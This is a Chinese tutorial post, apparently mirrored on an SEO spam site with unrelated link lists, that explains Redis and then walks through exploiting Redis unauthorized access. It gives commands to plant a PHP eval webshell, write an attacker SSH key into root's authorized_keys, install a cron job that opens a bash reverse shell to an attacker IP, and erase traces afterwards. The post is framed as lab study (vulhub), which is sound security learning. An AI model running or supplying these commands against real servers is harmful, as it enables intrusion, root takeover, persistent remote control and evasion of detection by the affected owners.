当前位置: 首页 > news >正文

wordpress插件很多吗南通关键词优化平台

wordpress插件很多吗,南通关键词优化平台,大学生做家教靠谱网站,建网站公司 深圳Redis(Remote Dictionary Server)是一个开源的内存数据库,遵守 BSD 协议,它提供了一个高性能的键值(key-value)存储系统,常用于缓存、消息队列、会话存储等应用场景 Redis主要特性 &#xff08…

Redis(Remote Dictionary Server)是一个开源的内存数据库,遵守 BSD 协议,它提供了一个高性能的键值(key-value)存储系统,常用于缓存、消息队列、会话存储等应用场景

Redis主要特性

(1)数据结构支持

  • String(字符串):最基本的键值对类型,支持存储字符串、整数、浮点数等数据,适合计数器、缓存等用途。
  • List(列表):有序集合,可以用作队列、栈,适合消息队列、任务调度等场景。
  • Set(集合):无序集合,支持交集、并集等操作,适合标签管理、集合运算等。
  • Sorted Set(有序集合):带权重的有序集合,适合排名系统、排行榜等功能。
  • Hash(哈希表):键值对的集合,适合存储对象的多个字段信息。
  • Stream(流):支持记录插入和查询操作,适合日志系统、实时数据处理。
  • Bitmap(位图):处理二进制数据,如签到系统、用户行为分析。
  • HyperLogLog:近似计数算法,用于高效估算唯一元素数量,适合统计UV等。
  • Geo:地理空间索引,可以存储地理坐标并执行距离计算,适合地图服务。

(2)持久化

    Redis虽然是内存数据库,但它提供了持久化机制来确保数据不会因服务器重启而丢失

  • RDB(Redis DataBase):定期生成快照,将数据保存到磁盘中。
  • AOF(Append-Only File):每次写操作都会追加到文件中,恢复时重放这些操作日志,保证数据完整性。

(3)高可用和分布式

  • 主从复制:Redis支持主从复制,主节点处理写操作,从节点同步数据,提供负载均衡和故障转移能力。
  • Redis Sentinel:监控主从结构中的节点,自动处理故障转移,保障高可用性。
  • Redis Cluster:实现数据分片,将数据分布到多个节点上,支持水平扩展,适合大规模数据存储场景。

(4)安全性

Redis通过简单的密码验证机制保护数据,同时可以绑定IP地址以限制访问权限。在生产环境中,推荐启用TLS加密通信。

Redis漏洞

(1)漏洞描述

Redis未授权访问漏洞是指由于Redis配置不当,导致其未设置访问控制或认证机制,从而使攻击者可以通过远程或本地网络未授权访问Redis数据库,并执行任意命令。这类漏洞存在时,攻击者可以利用Redis的特性,窃取或篡改数据,甚至控制系统

Redis默认情况下没有开启认证机制,且通常运行在默认端口6379上。如果Redis实例暴露在公网且未采取访问限制,任何人都可以直接通过网络连接到Redis服务器,并执行包括读取、修改数据,或运行恶意代码等操作。

造成Redis未授权访问漏洞的主要原因包括:

  1. 没有配置认证密码:Redis默认不需要密码验证,攻击者可以直接连接并执行命令。
  2. 暴露在公网:Redis实例暴露在公网,没有设置访问控制策略,任何人都可以通过网络访问。
  3. 没有限制IP访问:Redis没有设置仅允许可信IP访问的策略,导致外部不可信网络也能连接到Redis。

影响范围:Redis<=5.0.5

Redis基本常用命令:

启动命令:(如果有出现乱码,就在后面加上  -raw  就可以避免乱码了)

$ redis-cli

在远程服务上执行命令:

$ redis-cli -h host -p port -a password

下面实例:(连接到主机为 127.0.0.1,端口为 6379 ,密码为 mypass 的 redis 服务上)

$redis-cli -h 127.0.0.1 -p 6379 -a "mypass"
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PINGPONG

 (2)环境搭建

可在vulhub上搭建靶场资源,里面还有很多靶场漏洞联系

(3)漏洞利用

  • 扫描开放的Redis服务:攻击者通过扫描工具发现开放的Redis服务,通常是暴露在公网的端口6379。
  • nmap -sV -p 6379 -script redis-info <ip>
    

  • 连接Redis:利用未授权访问,攻击者可以直接通过命令行或脚本连接Redis。
  • redis-cli -h <ip>
    

  • 执行恶意操作:攻击者可以执行多种恶意操作,如读取、修改数据,甚至上传恶意代码到目标服务器。
  • info  #查看redis的信息和服务器信息
    flushall 删除所有数据
    del key  删除键为key的数据
    get key  获得参数key的数据
    

    利用Redis写入webshell(利用前提是连接成功且keys*未启用认证)

连接成功后输入以下指令

config set dir /var/www/html
config set dbfilename redis.php
set webshell "<?php eval($_POST[cmd]); ?>"或者set x "\r\n\r\n<?php eval($_POST[cmd]); ?>\r\n\r\n"
save

蚁剑连接

(4)获取root权限

在Redis未授权访问漏洞中,如果Redis以root身份运行,攻击者可以通过向目标服务器的/root/.ssh/authorized_keys文件写入攻击者的SSH公钥,获得目标系统的root权限

①  在攻击者的机器上生成SSH密钥对,公钥将被写入目标机器中,从而通过SSH登录目标机器

# 在攻击者机器上生成SSH公钥和私钥
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa# 生成的公钥内容位于 ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa.pub

记下生成的公钥内容,这个公钥将被写入目标Redis服务器的/root/.ssh/authorized_keys文件。

②连接Redis并写入公匙

利用未授权访问漏洞,连接到目标服务器的Redis,并将公钥写入/root/.ssh/authorized_keys文件。

# 连接到目标Redis服务器
redis-cli -h <ip> -p 6379# 创建/root/.ssh目录
redis-cli -h <ip> -p 6379
127.0.0.1:6379> CONFIG SET dir /root/.ssh# 设置文件名为authorized_keys
127.0.0.1:6379> CONFIG SET dbfilename "authorized_keys"# 将攻击者的公钥写入到authorized_keys
127.0.0.1:6379> SET public_key "<攻击者的公钥内容>"# 将内容写入磁盘
127.0.0.1:6379> SAVE

③通过ssh登录目标服务器

此时攻击者的公钥已经成功写入目标服务器的/root/.ssh/authorized_keys文件。攻击者可以通过SSH免密登录目标服务器,直接获取root权限。

# 使用私钥登录靶机(目标服务器)
ssh -i ~/.ssh/id_rsa root@<ip>

④验证是否获取到root权限

whoami
# 如果输出为root,则表明成功获取root权限

利用Redis未授权漏洞获取root权限后,攻击者还可以进一步通过写入反弹Shell(Reverse Shell)来获得持久化的远程控制权限

(4)写入反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行

①先进行端口的监听

# 在攻击者机器上监听某个端口(例如4444)
nc -lvnp 4444

②利用Redis写入脚本

修改Redis配置目录

将Redis的工作目录修改为系统的/var/spool/cron/crontabs目录,该目录存放定时任务(cron jobs)。

# 连接到目标Redis服务器
redis-cli -h <ip> -p 6379# 设置Redis工作目录为crontabs目录
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/crontabs# 将定时任务写入到root用户的cron任务中
127.0.0.1:6379> CONFIG SET dbfilename root

③设置定时任务

# 写入反弹Shell命令,每分钟执行一次
127.0.0.1:6379> SET shell "\n* * * * * bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1\n"# 保存定时任务
127.0.0.1:6379> SAVE

④目标服务器反向连接

此时,目标服务器会通过反弹Shell向攻击者的机器发起连接。如果攻击者的监听器已经启动,便可以在攻击者机器上接收到反弹的Shell,从而获得目标服务器的命令执行权限。

在攻击者机器上,等待连接:

nc lvnp 4444

(5)清除痕迹

删除在cron中写入的反弹Shell命令。

# 删除cron任务
127.0.0.1:6379> DEL shell# 删除相关的cron文件
127.0.0.1:6379> CONFIG SET dbfilename root
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/crontabs
127.0.0.1:6379> FLUSHALL

后面的相关实验我在补充上,这里为理论,相关参考

Redis漏洞利用总结-CSDN博客

【Redis】Redis是什么、能干什么、主要功能和工作原理的详细讲解_redis是干嘛的-CSDN博客

http://www.zhongyajixie.com/news/21681.html

相关文章:

  • 大连淘宝网站建设软件推广平台有哪些
  • 任县建设局网站优化疫情防控措施
  • 云南旅游网站设计怎么打开网站
  • 滕州市中远建设工程公司网站首页独立站seo搜索优化
  • 他人盗用公司资料建设网站怎么处理推广图片制作
  • 企业网站建站那种好百度软件应用中心
  • 北京轨道交通建设管理有限公司网站自助建站免费搭建个人网站
  • 高端网站建设开发今日新闻最新10条
  • 经营性网站手续b站视频推广网站动漫
  • 怎么把自己做的网站让外网访问qq群推广平台
  • 网站建设和维护怎么学注册google账号
  • 国际物流网站制作模板网络营销软件
  • 百度商桥要怎么添加到网站长沙网络科技有限公司
  • 直销系统建设快速优化seo软件
  • 企业建设网站怎么做账环球资源网站网址
  • 天津做公司的网站平台营销策略
  • 浙江省住房建设厅网站爱情链接
  • 998元网站建设优化百度网盘网页版登录首页
  • 导购类网站建设多少钱搜索引擎营销的名词解释
  • wap网站制作怎么做网站服务公司
  • 专业网站制作的费用哪个公司要做网络推广
  • 外贸购物网站建设国外直播平台tiktok
  • 大型网站有哪些用php做的贵阳seo网站管理
  • 网站建设长沙十大最靠谱教育培训机构
  • 百度云建网站网页搜索优化seo
  • 做模版网站西安seo建站
  • 做的比较好的猎头网站网站点击量查询
  • 怎么在百度上做自己的网站广州四楚seo顾问
  • 做网站一般收取多少钱uc推广登录入口
  • 四川省住房和城乡建设厅网站电话seo专业培训费用